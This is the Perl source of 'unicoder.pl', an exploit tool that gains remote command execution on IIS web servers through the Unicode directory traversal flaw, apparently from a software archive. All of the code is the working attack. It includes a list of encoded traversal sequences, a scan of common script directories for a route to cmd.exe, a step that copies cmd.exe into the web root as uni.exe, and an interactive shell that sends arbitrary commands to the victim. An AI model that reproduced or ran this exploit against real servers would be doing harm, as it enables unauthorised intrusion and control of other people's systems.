home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/perl
- ###############
-
- ##
- # tool: unicoder.pl
- # version: 1.98
- # author: H D Moore <hdmoore@digitaldefense.net>
- # purpose: Allows remote command execution via IIS unicode directory transversal
- # usage: Run with no arguments for usage options
- # output: Output from remote command
- # changes: Added -S option to use cmd.exe copies in web root (aka /scripts/root.exe)
- # bugs: No sanity checking of results during directory/unicode scan
- ##
-
- use Getopt::Std;
- use Socket;
-
- # determine whether or not to enable SSL support
- BEGIN {
-
- if (eval "require Net::SSLeay") {
- Net::SSLeay->import();
- Net::SSLeay::load_error_strings();
- Net::SSLeay::SSLeay_add_ssl_algorithms();
- Net::SSLeay::randomize(time());
- $HAVE_SSL = 1;
- } else {
- $HAVE_SSL = 0;
- }
- }
-
-
- sub usage {
- print STDERR qq{
-
- *- --[ unicoder v$VERSION - H.D. Moore <hdmoore\@digitaldefense.net>
-
- Usage: $0 -h <host>
-
- -h <host> = host you want to attack
- -d <directory> = directory to use
- -u <unicode> = unicode sequence to use
- -c <command> = command to execute
- -f <cmd file> = file containing commands
- -p <port> = web server port
- -S <root.exe> = path to cmd.exe in web root
- -L <path> = path to copy cmd.exe to (\winnt\temp\uni.exe)
-
- Proxy Options:
-
- -w <http proxy> = use http proxy
- -P <proxy port> = sets proxy port
-
- Other Options:
-
- -x = ssl mode
- -i = interactive mode
- -D = dump (http 1.0) mode
- -v = verbose
-
- };
- exit(1);
- }
-
- sub send_request {
-
- my ($request) = @_;
- my $results = "";
- my $got;
- my $ssl;
- my $ctx;
- my $res;
-
- if ($args{v})
- {
- print STDERR "[request]\n$request\n\n";
- }
-
- select(STDOUT); $| = 1;
- socket(S,PF_INET,SOCK_STREAM, getprotobyname('tcp') || 0) || die("Socket problems\n");
- select(S); $|=1;
- select(STDOUT);
-
- if(connect(S,pack "SnA4x8",2,$options{"HostPort"},$options{"ip"}))
- {
- if ($args{x})
- {
- $ctx = Net::SSLeay::CTX_new() or die_now("Failed to create SSL_CTX $!");
- $ssl = Net::SSLeay::new($ctx) or die_now("Failed to create SSL $!");
- Net::SSLeay::set_fd($ssl, fileno(S)); # Must use fileno
- $res = Net::SSLeay::connect($ssl);
- $res = Net::SSLeay::write($ssl, $request); # Perl knows how long $msg is
- shutdown S, 1;
-
- while ($got = Net::SSLeay::read($ssl))
- {
- $results .= $got;
- }
-
- Net::SSLeay::free ($ssl); # Tear down connection
- Net::SSLeay::CTX_free ($ctx);
- close(S);
- } else {
- print S $request;
- sleep(1);
- shutdown S, 1;
- while ($got = <S>)
- {
- $results .= $got;
- }
- close(S);
- }
- } else { die("Error: connection failed.\n"); }
- return $results;
-
- }
-
- ###################################################
- #
- # MAIN STARTS HERE
- #
-
- my %unicode = (
- '%255c' => '.',
- '%252e' => '.',
- '%%35c' => '.',
- '%%35%63' => '.',
- '%25%35%63' => '.',
- '%c0%af' => '..',
- '%c1%1c' => '..',
- '%c0%9v' => '..',
- '%c0%qf' => '..',
- '%c1%8s' => '..',
- '%c1%9c' => '..',
- '%c1%pc' => '..',
- '%c1%1c' => '..',
- '%c0%2f' => '..',
- );
-
- @csets = keys(%unicode);
- @cdirs = qw (/scripts/ /msadc/ /iisadmpwd/ /_vti_bin/ /exchange/ /cgi-bin/ /pbserver/ /);
- @cmds = ();
-
- %options = (
- "TargetPort" => 80,
- "HostPort" => 80,
- "RequestPrefix" => "", # for akamai and http proxying
- "runcmd" => 0,
- "shell" => "cmd.exe",
- "Mode" => "1.1",
- "CopyPath" => '\uni.exe'
- );
-
- $VERSION = "1.97";
-
- my ($cdir, $cset, $url, $data, $req, $res, $ua);
- my $vdir = 0;
- my $vset = 0;
- my $binip;
-
-
-
- getopts("h:d:u:c:p:w:f:P:W:S:L:xDvi", \%args);
-
- ############################
- ### start option parsing ###
- ############################
-
- if (!$args{h}){usage();}
-
- $binip = gethostbyname($args{h});
-
- if (length($binip) == 0)
- {
- print STDERR "The host you specified is invalid.\n";
- exit(257);
- } else {
- $options{"ip"} = $binip;
- $options{"Target"} = $args{h};
- }
-
- if($args{x} && $HAVE_SSL == 0){ print "Please install the Net::SSLeay module for SSL support.\n"; exit; }
- if ($args{x}){ $options{"TargetPort"} = 443;}
-
- if ($args{x} && $args{a} || $args{w} && $args{x})
- {
- print STDERR "Sorry, that proxy mode does not work with SSL.\n";
- exit(256);
- }
-
- if ($args{w} && $args{a})
- {
- print STDERR "Sorry, those proxy modes can not be combined.\n";
- exit(256);
- }
-
- if ($args{p})
- {
- $options{"TargetPort"} = $args{p};
- }
-
- if ($args{P})
- {
- $options{"HostPort"} = $args{P};
- } else {
- $options{"HostPort"} = $options{"TargetPort"};
- }
-
- if ($args{w})
- {
- $options{"RequestPrefix"} = "http://" . $options{"Target"} . ":" . $options{"TargetPort"};
- $options{"Host"} = $args{w};
- $binip = gethostbyname($options{"Host"});
- if (length($binip) <= 0)
- {
- print STDERR "Sorry, could not resolve the http proxy host.\n";
- exit(256);
- }
- $options{"ip"} = $binip;
- }
-
- if ($args{d})
- {
- $options{"dir"} = $args{d};
- @cdirs = ();
- push @cdirs,$args{d};
- }
- if ($args{u})
- {
- $options{"unicode"} = $args{u};
- @csets = ();
- push @csets,$args{u};
- }
- if ($args{c})
- {
- push @cmds, $args{c};
- $options{"runcmd"}++;
- } else {
-
- if ($args{f})
- {
-
- open (CF, "<" . $args{f}) || die "could not open command file: $!";
- while ($cmd = <CF>)
- {
- chomp($cmd);
- push @cmds, $cmd;
- $options{"runcmd"}++;
- }
- close (CF);
- }
- }
-
- if ($args{W})
- {
- $options{"shell"} = $args{W};
- }
-
- if ($args{D})
- {
- $options{"Mode"} = "1.0";
- }
-
- if ($args{C})
- {
- $options{"CopyPath"} = $args{C};
- }
-
- if ($args{v})
- {
- print STDERR "[Options Table]\n";
- foreach $key (keys(%options))
- {
- print STDERR "$key = " . $options{"$key"} . "\n";
- }
- print STDERR "---------------\n\n";
-
- }
-
-
-
- if ($args{S})
- {
- @cdirs = ();
- }
-
- # start the scanning loop
- foreach $cdir (@cdirs)
- {
- foreach $cset (@csets)
- {
-
- if (($options{"runcmd"} > 0 || $args{i}) && $vdir && $vset ) { last; }
-
- $results = $got = $header = $junk = "";
- $results = "";
-
- my $dot = $unicode{$cset};
-
- $url = $cdir . $dot . (("$dot/$dot".$cset."$dot/") x 4) . "/winnt/system32/".$options{"shell"}."?/c+dir";
-
- if ($options{"Mode"} eq "1.1")
- {
- $request =
- "GET " . $options{"RequestPrefix"} . "$url HTTP/1.1\r\n" .
- "Host: " . $args{h} . "\r\n".
- "Accept: */*\r\n".
- "\r\n";
- } else {
- $request =
- "GET " . $options{"RequestPrefix"} . "$url HTTP/1.0\r\n" .
- "Accept: */*\r\n".
- "\r\n";
-
- }
-
- select(STDOUT); $| = 1;
- print "Checking directory $cdir with sequence $cset: ";
- select(STDOUT);
- $results = send_request($request);
- ($header,$junk) = split(/\n/,$results);
- if ($results =~ /<DIR>/)
- {
- print "FOUND\n";
- $vdir = $cdir;
- $vset = $cset;
- print STDERR "[request]\n$request\n\n";
-
- } else {
- print "ERROR: $header\n";
- }
- }
- if ($options{"runcmd"} > 0) { }
- }
-
-
- $skipcheck = 0;
-
- if($args{S}) { $skipcheck++; }
-
- # execute a command if one was given
- if (((scalar(@cmds) > 0 || $args{i}) && $vdir ne "" && $vset ne "") || $args{S})
- {
- COMMANDLOOP:
-
- while($command = shift(@cmds))
- {
-
-
- # hex encode a few chars
- $command =~ s/ /+/g;
- $command =~ s/=/\%3D/g;
- $command =~ s/\|/\%7C/g;
-
- $command =~ s/\=/%3d/g;
- $command =~ s/\&/%26/g;
- $command =~ s/\"/%22/g;
-
- my $dot = $unicode{$cset};
- my $traversal = $cdir . $dot . (("$dot/$dot".$cset."$dot/") x 4);
-
- $results = $got = $header = $junk = "";
- $urlT = $traversal . "/winnt/system32/".$options{"shell"}."?/c+dir+".("..\\" x 6) .$options{"CopyPath"};
- $urlS = $traversal . "/winnt/system32/".$options{"shell"}."?/c+copy+".("..\\" x 6)."\\winnt\\system32\\cmd.exe+".("..\\" x 6).$options{"CopyPath"};
- $urlCA = $traversal . "/" . $options{"CopyPath"} . "?/c+$command";
- $urlCB = $traversal . "/winnt/system32/".$options{"shell"}."?/c+$command";
-
- $requestT =
- "GET " . $options{"RequestPrefix"} . "$urlT HTTP/1.1\r\n" .
- "Host: " . $args{h} . "\r\n".
- "Accept: */*\r\n".
- "\r\n";
-
- $requestS =
- "GET " . $options{"RequestPrefix"} . "$urlS HTTP/1.1\r\n" .
- "Host: " . $args{h} . "\r\n".
- "Accept: */*\r\n".
- "\r\n";
-
- $requestCA =
- "GET " . $options{"RequestPrefix"} . "$urlCA HTTP/1.1\r\n" .
- "Host: " . $args{h} . "\r\n".
- "Accept: */*\r\n".
- "\r\n";
-
- $requestCB =
- "GET " . $options{"RequestPrefix"} . "$urlCB HTTP/1.1\r\n" .
- "Host: " . $args{h} . "\r\n".
- "Accept: */*\r\n".
- "\r\n";
-
- if ($args{S})
- {
- $urlS = $args{S} . "?/c+$command";
- $requestCA =
- "GET " . $options{"RequestPrefix"} . "$urlS HTTP/1.1\r\n" .
- "Host: " . $args{h} . "\r\n".
- "Accept: */*\r\n".
- "\r\n";
- }
-
-
- # see if our copy of cmd.exe is in the root dir yet
- if ($skipcheck == 0)
- {
- $results = send_request($requestT);
- if ($results =~ m/uni.exe/)
- {
- print "using \\uni.exe as command interpreter.\n";
- $skipcheck++;
- } else {
- $results = send_request($requestS);
- if ($results !~ "copied" || $results =~ "denied")
- {
- print STDERR "error: could not copy ".$options{"shell"}." to " . $options{"CopyPath"} . "\n";
- print STDERR "running command with the default intepreter.\n";
- $requestCA = $requestCB;
- } else {
- print "copied ".$options{"shell"}." to " .$options{"CopyPath"} . "\n";
- print "using ". $options{"CopyPath"} ." as command interpreter.\n";
- }
- }
- }
-
- $results = send_request($requestCA);
-
- print "\n*--- -- -[ command results ]\n\n";
- print $results;
- print "\n\n";
- }
-
- if($args{i})
- {
- if ($skipcheck == 0)
- {
- select(STDERR);$|=1;
- print STDERR "\nEnter an empty command to quit\n\n";
- }
-
- $skipcheck++;
- print STDERR "unicoder > ";
- $cmd = <STDIN>;
- chomp($cmd);
- if ($cmd ne "")
- {
- push @cmds, $cmd;
- $options{"runcmd"}++;
- goto COMMANDLOOP;
- }
- }
- }
-